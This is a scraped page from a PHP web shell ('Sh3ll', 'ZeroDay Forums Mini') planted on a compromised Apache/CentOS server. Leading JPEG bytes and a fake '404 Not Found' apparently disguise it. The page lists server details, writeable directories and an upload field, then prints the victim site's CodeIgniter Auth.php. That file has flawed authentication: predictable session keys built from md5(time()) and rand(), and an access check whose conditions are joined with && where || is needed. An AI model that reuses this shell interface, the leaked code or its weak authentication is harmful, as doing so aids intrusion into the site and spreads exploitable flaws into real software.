ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/adimi/application/libraries/Auth.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Auth
{
    //Login....
    public function login($username, $password)
    {
        $CI =& get_instance();
        $CI->load->model('dashboard/Users');

        $result = $CI->Users->check_valid_user($username, $password);

        if ($result) {
            $key = md5(time());
            $key = str_replace("1", "z", $key);
            $key = str_replace("2", "J", $key);
            $key = str_replace("3", "y", $key);
            $key = str_replace("4", "R", $key);
            $key = str_replace("5", "Kd", $key);
            $key = str_replace("6", "jX", $key);
            $key = str_replace("7", "dH", $key);
            $key = str_replace("8", "p", $key);
            $key = str_replace("9", "Uf", $key);
            $key = str_replace("0", "eXnyiKFj", $key);
            $sid_web = substr($key, rand(0, 3), rand(28, 32));

            // if ($result[0]['user_type'] == 1 || $result[0]['user_type'] == 2) {
            if ($result[0]['user_type'] == 1) {
                $isAdmin = 1;
            } else {
                $isAdmin = 0;
            }

            $checkPermission = $CI->Users->getUserPermission($result[0]['user_id']);
            $permission = array();
            $permission1 = array();
            if($checkPermission!=NULL){
                
                if(!empty($checkPermission)){
                    foreach ($checkPermission as $value) {
                        
                        $permission[$value->module] = array( 
                            'create' => $value->create,
                            'read'   => $value->read,
                            'update' => $value->update,
                            'delete' => $value->delete
                        );

                        $permission1[$value->menu_title] = array( 
                            'create' => $value->create,
                            'read'   => $value->read,
                            'update' => $value->update,
                            'delete' => $value->delete
                        );
                    }
                } 
            }

            // codeigniter session stored data
            $user_data = array(
                'isLogIn' => true,
                'isAdmin' => $isAdmin,
                'sid_web' => $sid_web,
                'user_id' => $result[0]['user_id'],
                'store_id' => $result[0]['store_id'],
                'user_type' => $result[0]['user_type'],
                'user_name' => $result[0]['first_name'] . " " . $result[0]['last_name'],
                'user_email' => $result[0]['username'],
                'logo' => $result[0]['logo'],
                'permission'    => json_encode(@$permission), 
                'label_permission'  => json_encode(@$permission1)
            );

            $CI->session->set_userdata($user_data);
            $CI->session->set_flashdata('message', display('welcome_back') . ' ' . $user_data['user_name']);
            return TRUE;
        } else {
            return FALSE;
        }
    }

    //Check if is logged....
    public function is_logged()
    {
        $CI =& get_instance();
        if ($CI->session->userdata('sid_web')) {
            return true;
        }
        return false;
    }

    //Logout....
    public function logout()
    {
        $CI =& get_instance();
        $user_data = array(
            'sid_web', 'user_id', 'user_type', 'user_name', 'isLogIn', 'isAdmin'
        );
        $CI->session->unset_userdata($user_data);
        return true;
    }

    //Check for logged in user is Admin or not.
    public function is_admin()
    {
        $CI =& get_instance();
        if ($CI->session->userdata('user_type') == 1 || $CI->session->userdata('user_type') == 2) {
            return true;
        }
        return false;
    }

    //Check for logged in user is Admin or not.
    public function is_store()
    {
        $CI =& get_instance();
        if ($CI->session->userdata('user_type') == 4) {
            return true;
        }
        return false;
    }

    public function check_user_auth($url = '')
    {
        if ($url == '') {
            $url = base_url() . 'admin';
        }
        $CI =& get_instance();
        if (!$this->is_logged()) {
            $this->logout();
            $error = display('you_are_not_authorised');
            $CI->session->set_userdata(array('error_message' => $error));
            redirect($url, 'refresh');
            exit;
        }
    }


    //Check admin auth
    function check_admin_auth($url = '')
    {
        if ($url == '') {
            $url = base_url() . 'admin';
        }
        $CI =& get_instance();
        if ((!$this->is_logged()) || (!$this->is_admin())) {
            $this->logout();
            $error = display('you_are_not_authorised');
            $CI->session->set_userdata(array('error_message' => $error));
            redirect($url, 'refresh');
            exit;
        }
    }

    //Check store auth
    function check_store_auth($url = '')
    {
        if ($url == '') {
            $url = base_url() . 'admin';
        }
        $CI =& get_instance();
        if ((!$this->is_logged()) || (!$this->is_store())) {
            $this->logout();
            $error = display('you_are_not_authorised');
            $CI->session->set_userdata(array('error_message' => $error));
            redirect($url, 'refresh');
            exit;
        }
    }

    //Check admin and store auth
    function check_admin_store_auth($url = '')
    {
        if ($url == '') {
            $url = base_url() . 'admin';
        }
        $CI =& get_instance();
        if ((!$this->is_logged()) && (!$this->is_admin()) && (!$this->is_store())) {
            $this->logout();
            $error = display('you_are_not_authorised');
            $CI->session->set_userdata(array('error_message' => $error));
            redirect($url, 'refresh');
            exit;
        } else {
            return true;
        }
    }

    //This function is used to Generate Key
    public function generator($lenth)
    {
        $number = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "N", "M", "O", "P", "Q", "R", "S", "U", "V", "T", "W", "X", "Y", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0");

        for ($i = 0; $i < $lenth; $i++) {
            $rand_value = rand(0, 34);
            $rand_number = $number["$rand_value"];

            if (empty($con)) {
                $con = $rand_number;
            } else {
                $con = "$con" . "$rand_number";
            }
        }
        return $con;
    }

}

?>

ZeroDay Forums Mini